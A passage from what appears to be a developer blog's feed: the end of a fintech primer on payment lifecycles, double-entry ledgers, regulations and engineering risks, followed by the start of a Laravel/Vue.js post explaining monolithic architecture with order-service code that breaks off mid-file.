<svg id="dg-lifecycle" viewBox="0 0 700 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A left to right flow: Authorization hold placed, then Capture, then Settlement batch, then Payout to merchant. A void or reversal branches off before settlement with no money moved. A refund branches off after settlement as a new transaction moving money back.">
  <style>
    #dg-lifecycle .lbl{font:600 12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #dg-lifecycle .sub{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <defs>
    <marker id="a1" markerWidth="10" markerHeight="10" refX="6" refY="3" orient="auto"><path d="M0,0 L6,3 L0,6 Z" fill="#1d4ed8" /></marker>
  </defs>

  <rect x="10" y="20" width="150" height="60" rx="8" fill="#dbeafe" stroke="#60a5fa" />
  <text class="lbl" x="85" y="45" text-anchor="middle">Authorization</text>
  <text class="sub" x="85" y="62" text-anchor="middle">hold placed, no $ moved</text>

  <path d="M160 50 H195" stroke="#1d4ed8" stroke-width="2" marker-end="url(#a1)" />
  <rect x="195" y="20" width="130" height="60" rx="8" fill="#bfdbfe" stroke="#3b82f6" />
  <text class="lbl" x="260" y="45" text-anchor="middle">Capture</text>
  <text class="sub" x="260" y="62" text-anchor="middle">merchant confirms</text>

  <path d="M325 50 H360" stroke="#1d4ed8" stroke-width="2" marker-end="url(#a1)" />
  <rect x="360" y="20" width="150" height="60" rx="8" fill="#93c5fd" stroke="#3b82f6" />
  <text class="lbl" x="435" y="45" text-anchor="middle">Settlement batch</text>
  <text class="sub" x="435" y="62" text-anchor="middle">T+1 / T+2 days</text>

  <path d="M510 50 H545" stroke="#1d4ed8" stroke-width="2" marker-end="url(#a1)" />
  <rect x="545" y="20" width="145" height="60" rx="8" fill="#3b82f6" stroke="#1d4ed8" />
  <text class="lbl" x="617" y="45" text-anchor="middle" fill="#fff">Payout</text>
  <text class="sub" x="617" y="62" text-anchor="middle" fill="#e0e7ff">funds reach merchant</text>

  <path d="M260 82 V120 H435 V82" fill="none" stroke="#ef4444" stroke-width="1.6" stroke-dasharray="4 3" />
  <text class="sub" x="347" y="136" text-anchor="middle" fill="#b91c1c">Void / reversal — before settlement, no money ever moved (cheap, fast)</text>

  <path d="M435 82 V165 H150 V82" fill="none" stroke="#16a34a" stroke-width="1.6" stroke-dasharray="4 3" />
  <text class="sub" x="292" y="182" text-anchor="middle" fill="#15803d">Refund — after settlement, a brand new transaction moving money back</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">A "refund" is never an undo — it's a new, opposite transaction. Model it that way from day one.</figcaption>
</figure>

<p>Here’s what each step actually means, and whose job it is:</p>

<ol>
  <li>
    <p><strong>Authorization</strong> — your app asks the issuing bank, through the gateway and processor, “does this customer have $49.99 available, and are you willing to guarantee it?” The <strong>issuing bank</strong> checks the balance/credit limit and fraud rules, then places a <strong>hold</strong> on that amount. Nothing has moved yet — this is a promise, not a payment. Responsibility: issuing bank decides yes/no; your app just waits for the answer.</p>
  </li>
  <li>
    <p><strong>Capture</strong> — your app tells the gateway “I’m ready to actually take this money now,” usually at shipment rather than at order time. This converts the hold from step 1 into a real request to collect funds. Responsibility: the <strong>merchant</strong> (you) decides when to capture — capturing before you can fulfil the order is a common source of refund headaches if the order later falls through.</p>
  </li>
  <li>
    <p><strong>Settlement</strong> — the <strong>processor</strong> and <strong>card network</strong> batch up all of a day’s captured transactions and actually move the money: issuer → network → acquirer → merchant. This is what turns “approved” into “funds in the bank,” and it’s why there’s usually a T+1 or T+2 day lag before a captured payment shows up as real, spendable money. Responsibility: entirely the processor/network’s batch cycle — your app has no control over its timing.</p>
  </li>
  <li>
    <p><strong>Payout</strong> — once funds have settled into the platform’s account, they’re transferred out to the merchant’s own bank account, on whatever schedule the gateway offers (daily, weekly). Responsibility: the <strong>gateway/processor</strong> executes it, but the merchant usually configures the schedule.</p>
  </li>
</ol>

<p>Two more paths branch off this main flow, and mixing them up is a common modeling mistake:</p>

<ul>
  <li><strong>Void / reversal</strong> — cancels an authorization or a capture <em>before settlement happens</em>. Because the money never actually moved, this is fast and free. Responsibility: the merchant requests it, the issuer releases the hold.</li>
  <li><strong>Refund</strong> — returns money <em>after</em> it has settled. This is not an undo — it’s a brand-new transaction moving funds back to the customer, and it can be partial, multiple, or issued weeks later. Responsibility: the merchant initiates it; the acquirer/network process it like any other payment, just in reverse.</li>
</ul>

<p>A <strong>chargeback</strong> is the adversarial version of a refund: the <strong>cardholder</strong>, through their <strong>issuing bank</strong>, forcibly reverses a settled transaction — usually over fraud or a dispute — without the merchant’s consent. The merchant can contest it with evidence, but it carries a penalty fee regardless of the outcome, making it the most expensive of these four outcomes for the merchant.</p>

<hr />

<h2 id="4-why-the-ledger-is-double-entry-not-a-number-in-a-column">4. Why the ledger is double-entry, not a number in a column</h2>

<p>The oldest trick in accounting is also the best bug-detector available to you: every transaction touches <strong>at least two accounts</strong>, one debited, one credited, and the two always sum to zero. If they don’t, you have a bug or fraud — and you find out immediately instead of during an audit six months later.</p>

<figure>
<svg id="dg-double-entry" viewBox="0 0 640 190" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A customer pays 100 dollars. Debit Cash account increases by 100. Credit Customer Liability account increases by 100. The two entries sum to zero.">
  <style>
    #dg-double-entry .lbl{font:600 12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #dg-double-entry .sub{font:10.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
    #dg-double-entry .amt{font:700 13px ui-monospace,Menlo,monospace;fill:#0f172a;}
  </style>
  <text class="lbl" x="320" y="26" text-anchor="middle">Journal entry: "Customer pays $100"</text>

  <rect x="30" y="46" width="270" height="90" rx="8" fill="#dcfce7" stroke="#22c55e" />
  <text class="lbl" x="165" y="70" text-anchor="middle">DEBIT — Cash (asset)</text>
  <text class="sub" x="165" y="88" text-anchor="middle">asset account increases</text>
  <text class="amt" x="165" y="112" text-anchor="middle">+$100</text>

  <rect x="340" y="46" width="270" height="90" rx="8" fill="#fee2e2" stroke="#ef4444" />
  <text class="lbl" x="475" y="70" text-anchor="middle">CREDIT — Customer Liability</text>
  <text class="sub" x="475" y="88" text-anchor="middle">you now owe the customer this</text>
  <text class="amt" x="475" y="112" text-anchor="middle">+$100</text>

  <text class="sub" x="320" y="162" text-anchor="middle">+100 − 100 = 0 — the entry balances. Nothing was created or destroyed, only recorded twice.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">"Debit" and "credit" describe account type, not good/bad — that trips up almost every engineer coming from everyday intuition.</figcaption>
</figure>

<p>In a real ledger table, rows are <strong>append-only</strong>. A mistake isn’t edited — it’s corrected by a new, reversing entry, exactly like a refund. The customer-facing “balance: $500” you show in the UI is just the sum of all postings for that account, computed on read (or cached and always reconcilable back to that sum).</p>

<hr />

<h2 id="5-real-world-use-case-checkout-to-payout-end-to-end">5. Real-world use case: checkout to payout, end to end</h2>

<p>Take an ordinary online store checkout and follow the money through every layer discussed above.</p>

<ol>
  <li>Customer clicks “Pay $49.99.” Your server sends an <strong>idempotency key</strong> with the charge request — a UUID generated once per checkout attempt — so that if the network times out and the client retries, the customer is charged once, not twice.</li>
  <li>The gateway authorizes the card. Issuer places a <strong>hold</strong> on the customer’s available balance. Your system marks the order <code class="language-plaintext highlighter-rouge">pending</code>, not <code class="language-plaintext highlighter-rouge">paid</code> — no ledger posting yet.</li>
  <li>On shipment, you <strong>capture</strong>. The gateway confirms, and <em>now</em> you post a ledger entry: debit “clearing,” credit “merchant revenue,” minus a fee entry to “processing fees.”</li>
  <li>A <strong>webhook</strong> arrives telling you the capture succeeded. You verify its HMAC signature, deduplicate by event ID (webhooks are at-least-once, never exactly-once), and update the order to <code class="language-plaintext highlighter-rouge">paid</code> — all as one idempotent operation, because the same webhook might arrive twice.</li>
  <li>T+1 or T+2 days later, a <strong>settlement file</strong> lands from the processor. A reconciliation job matches every line to an internal transaction by ID, amount, and timestamp, and flags anything that doesn’t match — a network blip, a processor bug, or genuine fraud, caught before it becomes a customer complaint.</li>
  <li>Funds move to your platform’s account, then out again as a <strong>payout</strong> to the merchant — one more pair of ledger postings, debiting the clearing account, crediting the merchant’s payable balance.</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Client → Charge (idempotency-key: abc123)
      → Auth hold placed (no $ moved)         [order: pending]
      → Capture on shipment                   [ledger: debit clearing, credit revenue]
      → Webhook: payment.captured (verified, deduped)   [order: paid]
      → T+1: settlement file reconciled against ledger
      → Payout: clearing → merchant payable
</code></pre></div></div>

<p>If a customer disputes it three weeks later, a chargeback reverses the settled entry, and a <em>new</em> reversing posting — not a deleted row — is what proves to an auditor exactly what happened, in order.</p>

<hr />

<h2 id="6-the-laws-that-shape-your-architecture-not-an-afterthought">6. The laws that shape your architecture (not an afterthought)</h2>

<p>Regulation isn’t paperwork bolted on after the system is built — for a fintech engineer it’s an <strong>input to the design</strong>, the same way a latency budget is.</p>

<table>
  <thead>
    <tr>
      <th>Rule / regulation</th>
      <th>What it forces you to build</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>PCI-DSS</strong></td>
      <td>Card data security standard. Your best lever is <strong>tokenization</strong> — never let raw card numbers touch your own servers — which drops you into a much lighter compliance tier.</td>
    </tr>
    <tr>
      <td><strong>PSD2 / SCA (EU, UK)</strong></td>
      <td>Legally requires step-up authentication (3-D Secure) on card-not-present transactions above a threshold. Skipping it isn’t just riskier, it’s non-compliant.</td>
    </tr>
    <tr>
      <td><strong>KYC (Know Your Customer)</strong></td>
      <td>Identity verification before onboarding anyone to a financial product — ID checks, liveness checks.</td>
    </tr>
    <tr>
      <td><strong>AML (Anti-Money Laundering)</strong></td>
      <td>Ongoing transaction monitoring for suspicious patterns, with a legal duty to file reports on what you find.</td>
    </tr>
    <tr>
      <td><strong>Open Banking (PSD2 in EU, CDR in Australia)</strong></td>
      <td>Customers grant third-party apps scoped access to their bank data via OAuth — you may be the third party, or the bank exposing the API.</td>
    </tr>
    <tr>
      <td><strong>Data protection (GDPR, CCPA)</strong></td>
      <td>“Right to erasure” collides with “must retain financial records for years” — this tension needs a deliberate legal/technical answer, never a blanket delete.</td>
    </tr>
    <tr>
      <td><strong>Record retention &amp; audit</strong></td>
      <td>Immutable, reconstructable audit trails aren’t a nice-to-have — regulators can and will ask “show me why this balance is what it is,” and the answer must come from stored data alone.</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="7-risks-engineers-introduce--and-how-to-design-against-them">7. Risks engineers introduce — and how to design against them</h2>

<figure>
<svg id="dg-risks" viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Four risk categories arranged as cards: duplicate charges from retries, mitigated by idempotency keys; out of order or lost webhooks, mitigated by signature verification and reconciliation; floating point rounding errors, mitigated by integer minor units; race conditions on concurrent debits, mitigated by row level locking.">
  <style>
    #dg-risks .t{font:700 12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#7f1d1d;}
    #dg-risks .b{font:600 11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#166534;}
    #dg-risks .s{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <g>
    <rect x="20" y="20" width="300" height="110" rx="8" fill="#fef2f2" stroke="#fca5a5" />
    <text class="t" x="36" y="42">Risk: Duplicate charges</text>
    <text class="s" x="36" y="60">Client retries after a timeout — server</text>
    <text class="s" x="36" y="74">already processed the first request.</text>
    <text class="b" x="36" y="100">Fix: idempotency key + DB unique</text>
    <text class="b" x="36" y="114">constraint, not an in-memory cache.</text>
  </g>
  <g>
    <rect x="360" y="20" width="300" height="110" rx="8" fill="#fef2f2" stroke="#fca5a5" />
    <text class="t" x="376" y="42">Risk: Lost/duplicate webhooks</text>
    <text class="s" x="376" y="60">Delivery is at-least-once, never</text>
    <text class="s" x="376" y="74">exactly-once, and can arrive out of order.</text>
    <text class="b" x="376" y="100">Fix: verify signature, dedupe by event</text>
    <text class="b" x="376" y="114">ID, and reconcile as a fallback net.</text>
  </g>
  <g>
    <rect x="20" y="160" width="300" height="110" rx="8" fill="#fef2f2" stroke="#fca5a5" />
    <text class="t" x="36" y="182">Risk: Float rounding errors</text>
    <text class="s" x="36" y="200">0.1 + 0.2 !== 0.3 in IEEE 754 —</text>
    <text class="s" x="36" y="214">a rounding bug is a compliance issue.</text>
    <text class="b" x="36" y="240">Fix: store amounts as integer minor</text>
    <text class="b" x="36" y="254">units (cents), never as floats.</text>
  </g>
  <g>
    <rect x="360" y="160" width="300" height="110" rx="8" fill="#fef2f2" stroke="#fca5a5" />
    <text class="t" x="376" y="182">Risk: Concurrent debit race</text>
    <text class="s" x="376" y="200">Two simultaneous debits on one account,</text>
    <text class="s" x="376" y="214">only one of which can actually be covered.</text>
    <text class="b" x="376" y="240">Fix: row-level locking or serializable</text>
    <text class="b" x="376" y="254">isolation on the balance record.</text>
  </g>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">All four are ordinary engineering mistakes that become financial incidents purely because the domain is money.</figcaption>
</figure>

<p>A few more that don’t fit neatly into a box: <strong>timeouts</strong> on every external bank/processor call (an unbounded wait is a classic cascading-failure trigger), <strong>circuit breakers</strong> around fraud/processor dependencies, and — the most underrated one — a <strong>freeze/pause capability</strong> on the affected money flow during an incident, which buys you time to investigate without letting the financial drift get worse.</p>

<hr />

<h2 id="quick-reference-checklist">Quick-reference checklist</h2>

<p>Before you consider a payment feature done, it should be true that:</p>

<ul>
  <li>Every money-moving request carries an idempotency key enforced at the database layer.</li>
  <li>Amounts are integers in minor units (or a fixed-point <code class="language-plaintext highlighter-rouge">Decimal</code>), always paired with an explicit currency.</li>
  <li>State only moves forward through an explicit state machine (<code class="language-plaintext highlighter-rouge">pending → authorized → captured → settled</code>) — invalid transitions are rejected, not silently allowed.</li>
  <li>Webhook handlers verify signatures, deduplicate by event ID, and don’t assume ordering.</li>
  <li>A reconciliation job independently checks your ledger against the processor’s settlement files — it isn’t optional insurance, it’s the thing that catches everything else missed.</li>
  <li>No raw card numbers or secrets ever appear in logs, and tokenization keeps them off your servers entirely.</li>
  <li>Every posting is traceable back to who/what triggered it and why — because eventually, an auditor or a customer will ask.</li>
</ul>

<p>None of this is exotic engineering. It’s ordinary distributed-systems discipline — idempotency, immutability, explicit state machines — applied to a domain where the cost of skipping it is measured in dollars, not just downtime.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Fintech" /><summary type="html"><![CDATA[A short, diagram-heavy primer on the finance and payment concepts every fintech engineer needs — money movement, the payment lifecycle, double-entry ledgers, the laws that shape your architecture, and the risks that bite engineers who skip this. A 10–15 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Monolithic Architecture Explained with a Real-World Use Case</title><link href="https://milandawijekoon.github.io/blog/monolithic-architecture-explained-with-a-real-world-use-case/" rel="alternate" type="text/html" title="Monolithic Architecture Explained with a Real-World Use Case" /><published>2026-09-17T00:00:00+00:00</published><updated>2026-09-17T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/monolithic-architecture-explained-with-a-real-world-use-case</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/monolithic-architecture-explained-with-a-real-world-use-case/"><![CDATA[<p>Before microservices were a talking point, almost every application was built this way by default: one codebase, one process, one deployment. That’s a <strong>monolith</strong> — not a slur, just a shape. This note strips it to the essentials: what actually makes something monolithic, one real feature built that way with Laravel and Vue.js, and when the shape stops paying for itself. It reads in about 10–15 minutes.</p>

<hr />

<h2 id="the-one-sentence-definition">The one-sentence definition</h2>

<p><strong>Monolithic Architecture builds an application’s UI, business logic, and data access as modules inside a single codebase that compiles, deploys, and scales as one unit.</strong></p>

<p>Everything below is a consequence of that sentence.</p>

<hr />

<h2 id="why-one-unit">Why “one unit”?</h2>

<p>A monolith isn’t “bad code” or “no structure” — it can be as cleanly layered as any other design. The defining trait is <strong>deployment boundary</strong>, not internal organization: every request, whether it hits the orders page or the inventory page, is served by the same running process, and shipping any change means shipping the whole application again.</p>

<figure>
<svg id="diagram-monolith-unit" viewBox="0 0 640 380" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A single box labeled Application process containing three internal layers: Presentation (Laravel routes, controllers, and Vue.js views), Business Logic (orders, inventory, payments modules), and Data Access (one shared database connection). One arrow labeled deploy points from the whole box to a single database, showing it ships and scales as one unit.">
  <style>
    #diagram-monolith-unit .dg-lbl{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #diagram-monolith-unit .dg-sub{font:10.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
    #diagram-monolith-unit .dg-k{font:600 11px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    #diagram-monolith-unit .dg-note{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
  </style>

  <rect x="60" y="20" width="520" height="280" rx="14" fill="#eff6ff" stroke="#93c5fd" stroke-width="2" />
  <text class="dg-lbl" x="320" y="44" text-anchor="middle">Application Process (one deployable unit)</text>

  <rect x="90" y="64" width="460" height="56" rx="8" fill="#dbeafe" stroke="#60a5fa" stroke-width="1.5" />
  <text class="dg-lbl" x="320" y="88" text-anchor="middle">Presentation</text>
  <text class="dg-sub" x="320" y="104" text-anchor="middle">Laravel routes/controllers + Vue.js components</text>

  <rect x="90" y="134" width="460" height="80" rx="8" fill="#bfdbfe" stroke="#3b82f6" stroke-width="1.5" />
  <text class="dg-lbl" x="320" y="156" text-anchor="middle">Business Logic</text>
  <text class="dg-sub" x="320" y="172" text-anchor="middle">Orders module · Inventory module · Payments module</text>
  <text class="dg-sub" x="320" y="188" text-anchor="middle">— all in-process PHP calls, no network hop —</text>

  <rect x="90" y="228" width="460" height="56" rx="8" fill="#3b82f6" stroke="#1d4ed8" stroke-width="1.5" />
  <text class="dg-lbl" x="320" y="252" fill="#ffffff" text-anchor="middle">Data Access</text>
  <text class="dg-sub" x="320" y="268" fill="#e0e7ff" text-anchor="middle">One shared Eloquent database connection</text>

  <path d="M320 300 V330" fill="none" stroke="#1d4ed8" stroke-width="2.5" marker-end="url(#arrow)" />
  <defs>
    <marker id="arrow" markerWidth="10" markerHeight="10" refX="6" refY="3" orient="auto">
      <path d="M0,0 L6,3 L0,6 Z" fill="#1d4ed8" />
    </marker>
  </defs>
  <rect x="255" y="332" width="130" height="34" rx="6" fill="#f8fafc" stroke="#cbd5e1" stroke-width="1.5" />
  <text class="dg-k" x="278" y="354">MySQL</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Everything ships together, runs in the same process, and scales by running more copies of the whole box.</figcaption>
</figure>

<table>
  <thead>
    <tr>
      <th>Trait</th>
      <th>What it means in practice</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>One codebase</strong></td>
      <td>Orders, inventory, and payments modules live in the same Laravel repository.</td>
    </tr>
    <tr>
      <td><strong>One process</strong></td>
      <td>A call from the orders module to the inventory module is a plain PHP method call — no HTTP, no message queue, no network latency.</td>
    </tr>
    <tr>
      <td><strong>One deployment</strong></td>
      <td>A one-line bug fix in the payments module still ships the entire application.</td>
    </tr>
    <tr>
      <td><strong>One scaling unit</strong></td>
      <td>If only checkout is under load, you still spin up another copy of the <em>whole</em> app — there’s no way to scale checkout alone.</td>
    </tr>
  </tbody>
</table>

<p>This is the mirror image of microservices, where each of those modules would be its own deployable service with its own database. Monolithic isn’t the absence of structure — internally it can (and should) still separate presentation, business logic, and data access. The difference is that those layers are folders and classes, not network boundaries.</p>

<hr />

<h2 id="real-world-use-case-place-an-order">Real-world use case: “Place an order”</h2>

<p>Same feature as before, different shape: a customer submits a cart, the system checks stock, calculates the total, saves the order, and sends a confirmation email. We’ll build the backend with Laravel and the interactive checkout form with Vue.js — both compiled and deployed as one application, no separate services to talk to.</p>

<h3 id="1-one-laravel-app-one-vite-build-one-deployment">1. One Laravel app, one Vite build, one deployment</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>order-monolith/
├── app/
│   ├── Http/Controllers/
│   │   └── OrderController.php
│   ├── Models/
│   │   ├── Order.php
│   │   └── Stock.php
│   ├── Services/
│   │   ├── InventoryService.php
│   │   ├── OrderService.php
│   │   └── Exceptions/OutOfStockException.php
│   └── Mail/
│       └── OrderConfirmed.php
├── resources/
│   ├── js/
│   │   ├── components/
│   │   │   └── CheckoutForm.vue
│   │   └── app.js
│   └── views/
│       └── checkout.blade.php
├── routes/web.php
├── database/migrations/
├── composer.json
└── package.json
</code></pre></div></div>

<p>Every folder under <code class="language-plaintext highlighter-rouge">app/</code> still separates concerns — but they all reference each other directly via PHP’s autoloader and ship in the same <code class="language-plaintext highlighter-rouge">php artisan</code> deploy, with the Vue components compiled by Vite into the same public build.</p>

<h3 id="2-data-access--one-shared-eloquent-connection">2. Data access — one shared Eloquent connection</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Models/Stock.php</span>
<span class="kn">namespace</span> <span class="nn">App\Models</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">Illuminate\Database\Eloquent\Model</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">Stock</span> <span class="kd">extends</span> <span class="nc">Model</span>
<span class="p">{</span>
    <span class="k">protected</span> <span class="nv">$fillable</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'product_id'</span><span class="p">,</span> <span class="s1">'quantity'</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Models/Order.php</span>
<span class="kn">namespace</span> <span class="nn">App\Models</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">Illuminate\Database\Eloquent\Model</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">Order</span> <span class="kd">extends</span> <span class="nc">Model</span>
<span class="p">{</span>
    <span class="k">protected</span> <span class="nv">$fillable</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'customer_id'</span><span class="p">,</span> <span class="s1">'total'</span><span class="p">,</span> <span class="s1">'status'</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Every module reuses the same connection defined once in <code class="language-plaintext highlighter-rouge">config/database.php</code>. There’s no “orders database” and “inventory database” — one schema, one set of tables, joined with plain Eloquent relationships or query builder when needed.</p>

<h3 id="3-inventory-module--business-logic-no-network-hop-to-reach-it">3. Inventory module — business logic, no network hop to reach it</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Services/InventoryService.php</span>
<span class="kn">namespace</span> <span class="nn">App\Services</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">App\Models\Stock</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">InventoryService</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">checkStock</span><span class="p">(</span><span class="kt">array</span> <span class="nv">$items</span><span class="p">):</span> <span class="kt">bool</span>
    <span class="p">{</span>
        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$items</span> <span class="k">as</span> <span class="nv">$item</span><span class="p">)</span> <span class="p">{</span>
            <span class="nv">$stock</span> <span class="o">=</span> <span class="nc">Stock</span><span class="o">::</span><span class="nf">where</span><span class="p">(</span><span class="s1">'product_id'</span><span class="p">,</span> <span class="nv">$item</span><span class="p">[</span><span class="s1">'product_id'</span><span class="p">])</span><span class="o">-&gt;</span><span class="nf">first</span><span class="p">();</span>

            <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nv">$stock</span> <span class="o">||</span> <span class="nv">$stock</span><span class="o">-&gt;</span><span class="n">quantity</span> <span class="o">&lt;</span> <span class="nv">$item</span><span class="p">[</span><span class="s1">'quantity'</span><span class="p">])</span> <span class="p">{</span>
                <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">decrementStock</span><span class="p">(</span><span class="kt">array</span> <span class="nv">$items</span><span class="p">):</span> <span class="kt">void</span>
    <span class="p">{</span>
        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$items</span> <span class="k">as</span> <span class="nv">$item</span><span class="p">)</span> <span class="p">{</span>
            <span class="nc">Stock</span><span class="o">::</span><span class="nf">where</span><span class="p">(</span><span class="s1">'product_id'</span><span class="p">,</span> <span class="nv">$item</span><span class="p">[</span><span class="s1">'product_id'</span><span class="p">])</span>
                <span class="o">-&gt;</span><span class="nf">decrement</span><span class="p">(</span><span class="s1">'quantity'</span><span class="p">,</span> <span class="nv">$item</span><span class="p">[</span><span class="s1">'quantity'</span><span class="p">]);</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="4-orders-module--calls-inventory-directly-as-a-method">4. Orders module — calls inventory directly, as a method</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Services/Exceptions/OutOfStockException.php</span>
<span class="kn">namespace</span> <span class="nn">App\Services\Exceptions</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">Exception</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">OutOfStockException</span> <span class="kd">extends</span> <span class="nc">Exception</span> <span class="p">{}</span>
</code></pre></div></div>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Services/OrderService.php</span>
<span class="kn">namespace</span> <span class="nn">App\Services</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">App\Mail\OrderConfirmed</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">App\Models\Order</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">App\Services\Exceptions\OutOfStockException</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Support\Facades\Mail</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">OrderService</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span>
        <span class="k">private</span> <span class="kt">InventoryService</span> <span class="nv">$inventory</span><span class="p">,</span>
    <span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">placeOrder</span><span class="p">(</span><span class="kt">string</span> <span class="nv">$customerId</span><span class="p">,</span> <span class="kt">array</span> <span class="nv">$items</span><span class="p">,</span> <span class="kt">string</span> <span class="nv">$email</span><span class="p">):</span> <span class="kt">Order</span>
    <span class="p">{</span>
        <span class="c1">// Direct method call — same process, no HTTP, no message broker.</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">inventory</span><span class="o">-&gt;</span><span class="nf">checkStock</span><span class="p">(</span><span class="nv">$items</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">OutOfStockException</span><span class="p">(</span><span class="s1">'One or more items are unavailable'</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="nv">$total</span> <span class="o">=</span> <span class="nf">collect</span><span class="p">(</span><span class="nv">$items</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">sum</span><span class="p">(</span><span class="k">fn</span> <span class="p">(</span><span class="nv">$i</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nv">$i</span><span class="p">[</span><span class="s1">'quantity'</span><span class="p">]</span> <span class="o">*</span> <span class="nv">$i</span><span class="p">[</span><span class="s1">'unit_price'</span><span class="p">]);</span>

        <span class="nv">$order</span> <span class="o">=</span> <span class="nc">Order</span><span class="o">::</span><span class="nf">create</span><span class="p">([</span>
            <span class="s1">'customer_id'</span> <span class="o">=&gt;</span> <span class="nv">$customerId</span><span class="p">,</span>
            <span class="s1">'total'</span> <span class="o">=&gt;</span> <span class="nv">$total</span><span class="p">,</span>
            <span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="s1">'CONFIRMED'</span><span class="p">,</span>
        <span class="p">]);</span>

        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">inventory</span><span class="o">-&gt;</span><span class="nf">decrementStock</span><span class="p">(</span><span class="nv">$items</span><span class="p">);</span>
        <span class="nc">Mail</span><span class="o">::</span><span class="nf">to</span><span class="p">(</span><span class="nv">$email</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">send</span><span class="p">(</span><span class="k">new</span> <span class="nc">OrderConfirmed</span><span class="p">(</span><span class="nv">$order</span><span class="p">));</span>

        <span class="k">return</span> <span class="nv">$order</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Notice what’s missing compared to a ports-and-adapters version: no interface definitions to satisfy, no separate service to deploy. <code class="language-plaintext highlighter-rouge">OrderService</code> just calls <code class="language-plaintext highlighter-rouge">InventoryService</code> directly — Laravel’s container injects it automatically — because they’re guaranteed to be running together, in the same process, at the same version.</p>

<h3 id="5-notifications--a-mailable">5. Notifications — a Mailable</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Mail/OrderConfirmed.php</span>
<span class="kn">namespace</span> <span class="nn">App\Mail</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">App\Models\Order</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Mail\Mailable</span><span class="p">;</span>

